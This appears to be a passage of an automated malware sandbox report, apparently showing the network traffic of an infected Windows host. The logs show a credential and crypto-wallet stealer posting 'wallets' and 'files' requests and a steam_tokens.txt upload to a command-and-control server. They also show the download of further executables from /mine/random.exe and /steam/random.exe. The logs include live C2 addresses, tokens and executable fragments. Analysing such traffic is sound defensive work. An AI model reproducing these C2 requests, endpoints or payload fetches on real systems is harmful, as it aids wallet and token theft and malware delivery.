Nov 12, 2024 04:16:34.760864973 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JKKEHJDHJKFIECAAKFIJ Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4b 4b 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 4b 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 61 32 30 30 61 66 64 31 62 65 32 35 38 62 32 62 37 65 30 66 31 32 36 66 65 65 36 66 39 65 65 37 38 35 30 36 32 38 66 63 62 37 65 65 34 33 39 31 39 30 33 39 30 35 64 36 34 33 30 36 34 30 30 34 31 63 61 35 66 32 65 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4b 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 4b 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4b 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 4b 46 49 4a 2d 2d 0d 0a Data Ascii: ------JKKEHJDHJKFIECAAKFIJContent-Disposition: form-data; name="token"ca200afd1be258b2b7e0f126fee6f9ee7850628fcb7ee4391903905d6430640041ca5f2e------JKKEHJDHJKFIECAAKFIJContent-Disposition: form-data; name="message"wallets------JKKEHJDHJKFIECAAKFIJ--
Nov 12, 2024 04:16:35.038480997 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 03:16:34 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Nov 12, 2024 04:16:35.041399956 CET	467	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KKECBFCGIEGCBGCAECGC Host: 185.215.113.206 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4b 45 43 42 46 43 47 49 45 47 43 42 47 43 41 45 43 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 61 32 30 30 61 66 64 31 62 65 32 35 38 62 32 62 37 65 30 66 31 32 36 66 65 65 36 66 39 65 65 37 38 35 30 36 32 38 66 63 62 37 65 65 34 33 39 31 39 30 33 39 30 35 64 36 34 33 30 36 34 30 30 34 31 63 61 35 66 32 65 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 45 43 42 46 43 47 49 45 47 43 42 47 43 41 45 43 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 45 43 42 46 43 47 49 45 47 43 42 47 43 41 45 43 47 43 2d 2d 0d 0a Data Ascii: ------KKECBFCGIEGCBGCAECGCContent-Disposition: form-data; name="token"ca200afd1be258b2b7e0f126fee6f9ee7850628fcb7ee4391903905d6430640041ca5f2e------KKECBFCGIEGCBGCAECGCContent-Disposition: form-data; name="message"files------KKECBFCGIEGCBGCAECGC--
Nov 12, 2024 04:16:35.318278074 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 03:16:35 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 12, 2024 04:16:35.337088108 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KKFBAAFCGIEGDHIEBFII Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4b 46 42 41 41 46 43 47 49 45 47 44 48 49 45 42 46 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 61 32 30 30 61 66 64 31 62 65 32 35 38 62 32 62 37 65 30 66 31 32 36 66 65 65 36 66 39 65 65 37 38 35 30 36 32 38 66 63 62 37 65 65 34 33 39 31 39 30 33 39 30 35 64 36 34 33 30 36 34 30 30 34 31 63 61 35 66 32 65 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 46 42 41 41 46 43 47 49 45 47 44 48 49 45 42 46 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 46 42 41 41 46 43 47 49 45 47 44 48 49 45 42 46 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------KKFBAAFCGIEGDHIEBFIIContent-Disposition: form-data; name="token"ca200afd1be258b2b7e0f126fee6f9ee7850628fcb7ee4391903905d6430640041ca5f2e------KKFBAAFCGIEGDHIEBFIIContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------KKFBAAFCGIEGDHIEBFIIContent-Disposition: form-data; name="file"------KKFBAAFCGIEGDHIEBFII--
Nov 12, 2024 04:16:36.106645107 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 03:16:35 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=89 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 12, 2024 04:16:36.180319071 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HJEBGHIEBFIJKECBKFHD Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 4a 45 42 47 48 49 45 42 46 49 4a 4b 45 43 42 4b 46 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 61 32 30 30 61 66 64 31 62 65 32 35 38 62 32 62 37 65 30 66 31 32 36 66 65 65 36 66 39 65 65 37 38 35 30 36 32 38 66 63 62 37 65 65 34 33 39 31 39 30 33 39 30 35 64 36 34 33 30 36 34 30 30 34 31 63 61 35 66 32 65 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 45 42 47 48 49 45 42 46 49 4a 4b 45 43 42 4b 46 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 45 42 47 48 49 45 42 46 49 4a 4b 45 43 42 4b 46 48 44 2d 2d 0d 0a Data Ascii: ------HJEBGHIEBFIJKECBKFHDContent-Disposition: form-data; name="token"ca200afd1be258b2b7e0f126fee6f9ee7850628fcb7ee4391903905d6430640041ca5f2e------HJEBGHIEBFIJKECBKFHDContent-Disposition: form-data; name="message"ybncbhylepme------HJEBGHIEBFIJKECBKFHD--
Nov 12, 2024 04:16:36.459635019 CET	271	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 03:16:36 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 68 Keep-Alive: timeout=5, max=88 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 61 48 52 30 63 44 6f 76 4c 7a 45 34 4e 53 34 79 4d 54 55 75 4d 54 45 7a 4c 6a 45 32 4c 32 31 70 62 6d 55 76 63 6d 46 75 5a 47 39 74 4c 6d 56 34 5a 58 77 77 66 44 42 38 55 33 52 68 63 6e 52 38 4e 58 77 3d Data Ascii: aHR0cDovLzE4NS4yMTUuMTEzLjE2L21pbmUvcmFuZG9tLmV4ZXwwfDB8U3RhcnR8NXw=
Nov 12, 2024 04:16:39.625344992 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DAFBGHCAKKFCAKEBKJKK Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 41 46 42 47 48 43 41 4b 4b 46 43 41 4b 45 42 4b 4a 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 61 32 30 30 61 66 64 31 62 65 32 35 38 62 32 62 37 65 30 66 31 32 36 66 65 65 36 66 39 65 65 37 38 35 30 36 32 38 66 63 62 37 65 65 34 33 39 31 39 30 33 39 30 35 64 36 34 33 30 36 34 30 30 34 31 63 61 35 66 32 65 0d 0a 2d 2d 2d 2d 2d 2d 44 41 46 42 47 48 43 41 4b 4b 46 43 41 4b 45 42 4b 4a 4b 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 44 41 46 42 47 48 43 41 4b 4b 46 43 41 4b 45 42 4b 4a 4b 4b 2d 2d 0d 0a Data Ascii: ------DAFBGHCAKKFCAKEBKJKKContent-Disposition: form-data; name="token"ca200afd1be258b2b7e0f126fee6f9ee7850628fcb7ee4391903905d6430640041ca5f2e------DAFBGHCAKKFCAKEBKJKKContent-Disposition: form-data; name="message"wkkjqaiaxkhb------DAFBGHCAKKFCAKEBKJKK--
Nov 12, 2024 04:16:40.393985033 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 03:16:39 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=87 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49898	185.215.113.16	80	6008	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 04:16:36.469280958 CET	80	OUT	GET /mine/random.exe HTTP/1.1 Host: 185.215.113.16 Cache-Control: no-cache
Nov 12, 2024 04:16:37.369719982 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 03:16:37 GMT Content-Type: application/octet-stream Content-Length: 3240960 Last-Modified: Tue, 12 Nov 2024 03:02:37 GMT Connection: keep-alive ETag: "6732c54d-317400" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 ca 01 00 00 00 00 00 00 80 31 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVf1@1M2@Wki1xi1 @.rsrc@.idata @uznwvgqp**@ftpwkcchp1N1@.taggant01"R1@
Nov 12, 2024 04:16:37.369735003 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 12, 2024 04:16:37.369745970 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 12, 2024 04:16:37.369869947 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 12, 2024 04:16:37.369880915 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 12, 2024 04:16:37.369893074 CET	1236	IN	Data Raw: 2c d0 04 46 3e 30 6e 84 94 cc ce 63 96 54 21 56 4b 90 38 1e a8 19 38 46 de 19 8d 02 4b 72 55 9e 90 d7 04 46 3e 0c 77 84 94 cc 2e 63 96 54 21 f6 4b 90 38 1e 08 1a 38 46 de 19 8d 02 4b 72 41 9e 98 d7 04 46 3e e0 6a 84 94 cc 0e 63 96 54 21 16 4b 90 Data Ascii: ,F>0ncT!VK88FKrUF>w.cT!K88FKrAF>jcT!K8h8FKrAF>dtncT!K88FKrE@F>cNcT!J8(8FKrEF>ibT!vM88FKrEF>PhbT!J88FKrEF>hbT!6M8
Nov 12, 2024 04:16:37.370007992 CET	1236	IN	Data Raw: e8 9e 38 46 de 19 8d 02 4b 72 45 9e 24 d6 04 46 3e 78 63 84 94 cc ee 9e 97 54 21 36 61 90 38 1e 48 9e 38 46 de 19 8d 02 4b 72 45 9e 1c d6 04 46 3e 58 75 84 94 cc ce 9e 97 54 21 56 60 90 38 1e a8 9e 38 46 de 19 8d 02 4b 72 41 9e 34 d6 04 46 3e 98 Data Ascii: 8FKrE$F>xcT!6a8H8FKrEF>XuT!V`88FKrA4F>j.T!`88FKrE(F>oT!`8h8FKrIF>tnT!X88FKrILF>poNT![8(8FKr]XF>teT!vZ88FKrIxF>l
Nov 12, 2024 04:16:37.370019913 CET	448	IN	Data Raw: 94 cc ae 61 96 54 21 76 6e 90 38 1e 88 83 38 46 de 19 8d 02 4b 72 4d 9e 50 d2 04 46 3e 50 75 84 94 cc 8e 61 96 54 21 96 6f 90 38 1e e8 83 38 46 de 19 8d 02 4b 72 41 9e 60 d2 04 46 3e 58 68 84 94 cc ee 61 96 54 21 36 6e 90 38 1e 48 83 38 46 de 19 Data Ascii: aT!vn88FKrMPF>PuaT!o88FKrA`F>XhaT!6n8H8FKretF>maT!Vq88FKreF>n.aT!q88FKr}DF>uaT!q8h8FKrIF>8unaT!q88FKrAF>mNaT!p8(8F
Nov 12, 2024 04:16:37.370033026 CET	1236	IN	Data Raw: 94 cc 6e 60 96 54 21 b6 6a 90 38 1e c8 85 38 46 de 19 8d 02 4b 72 45 9e 68 d1 04 46 3e 48 6b 84 94 cc 4e 60 96 54 21 d6 6d 90 38 1e 28 85 38 46 de 19 8d 02 4b 72 51 9e 00 d1 04 46 3e d0 6b 84 94 cc ae 67 96 54 21 76 6c 90 38 1e 88 85 38 46 de 19 Data Ascii: n`T!j88FKrEhF>HkN`T!m8(8FKrQF>kgT!vl88FKrYF>jgT!m88FKrM@F>lgT!6l8H8FKrMF>hgT!V88FKrAF>(m.gT!88FKrUF>igT!8h8F
Nov 12, 2024 04:16:37.370042086 CET	212	IN	Data Raw: 4b af f8 45 54 5b d5 4b d2 54 09 1e 38 27 3a 46 de 19 8d 02 4b e8 8d 02 4b e8 8d 02 4b e8 8d 02 4b d1 00 4a 3f 18 b8 8b 94 d7 80 7d d2 1b 7a 02 4b 67 c2 e2 e5 d1 a8 c3 d5 50 86 44 23 57 04 46 e7 cc 2c 7b 98 54 ba 0a 93 c6 04 7e 96 40 42 98 88 66 Data Ascii: KET[KT8':FKKKKJ?}zKgPD#WF,{T~@Bf[9S,{J-'}eDPTGVFXKKk&[9YKKg4~8FAU~TKKg4~ey-DoGfA&[9S,z
Nov 12, 2024 04:16:37.374757051 CET	1236	IN	Data Raw: 4b e8 8d 02 4b e8 8d 02 4b e8 8d 02 4b 67 c2 e2 f1 dd 21 6e 0e 90 38 6a 36 54 39 46 97 64 d8 7a b7 96 38 51 52 64 cc 8b 00 70 da 46 97 54 39 c3 d2 2c 86 8b 78 54 39 46 97 64 a1 6a 26 5b 39 02 4b e8 8d 02 4b e8 8d 02 4b e8 8d 02 4b 67 c2 e2 18 c8 Data Ascii: KKKKg!n8j6T9Fdz8QRdpFT9,xT9Fdj&[9KKKKgMP\|TFlLWAKg}dD#WF-F@WPk):FA@GEFKKKKg}dD#WF-F@WP+):FADEFKKKKfL

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	50067	185.215.113.43	80	9172	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 04:17:04.247551918 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 04:17:05.156002045 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 03:17:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	50082	185.215.113.43	80	9172	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 04:17:06.663104057 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 32 32 46 37 36 42 34 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B22F76B45F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 12, 2024 04:17:07.582379103 CET	468	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 03:17:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 31 35 0d 0a 20 3c 63 3e 31 30 30 35 36 38 30 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 38 65 36 62 31 63 61 37 32 64 64 35 33 34 64 62 30 35 37 65 62 34 31 30 61 34 39 34 64 39 64 23 31 30 30 35 36 38 31 30 33 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 64 30 32 34 36 62 35 63 62 34 66 36 35 32 32 34 32 37 66 61 65 31 64 61 61 38 65 39 65 62 34 66 66 66 37 62 35 63 36 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 35 36 38 32 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 65 34 66 34 62 32 38 34 36 64 39 33 34 66 34 38 62 31 35 65 61 61 34 39 35 63 34 39 23 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 115 <c>1005680001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1005681031+++b5937c1a99d5f9dd0246b5cb4f6522427fae1daa8e9eb4fff7b5c630804042ba5ce902415450#1005682001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e4f4b2846d934f48b15eaa495c49#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	50089	185.215.113.16	80	9172	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 04:17:07.595050097 CET	56	OUT	GET /steam/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 12, 2024 04:17:08.506798983 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 03:17:08 GMT Content-Type: application/octet-stream Content-Length: 1834496 Last-Modified: Tue, 12 Nov 2024 03:02:29 GMT Connection: keep-alive ETag: "6732c545-1bfe00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ce ac e2 38 8a cd 8c 6b 8a cd 8c 6b 8a cd 8c 6b e5 bb 27 6b 92 cd 8c 6b e5 bb 12 6b 87 cd 8c 6b e5 bb 26 6b b0 cd 8c 6b 83 b5 0f 6b 89 cd 8c 6b 83 b5 1f 6b 88 cd 8c 6b 0a b4 8d 6a 89 cd 8c 6b 8a cd 8d 6b d1 cd 8c 6b e5 bb 23 6b 98 cd 8c 6b e5 bb 11 6b 8b cd 8c 6b 52 69 63 68 8a cd 8c 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4f c3 2f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 40 22 00 00 00 00 00 00 90 6a 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 c0 6a 00 00 04 00 00 c6 04 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$8kkk'kkkk&kkkkkkjkkk#kkkkRichkPELO/g@"j@j@M$a$ $b@.rsrc $r@.idata $r@ P+$t@mmgyxokdpPbv@ujjtsjxwj@.taggant0j"@
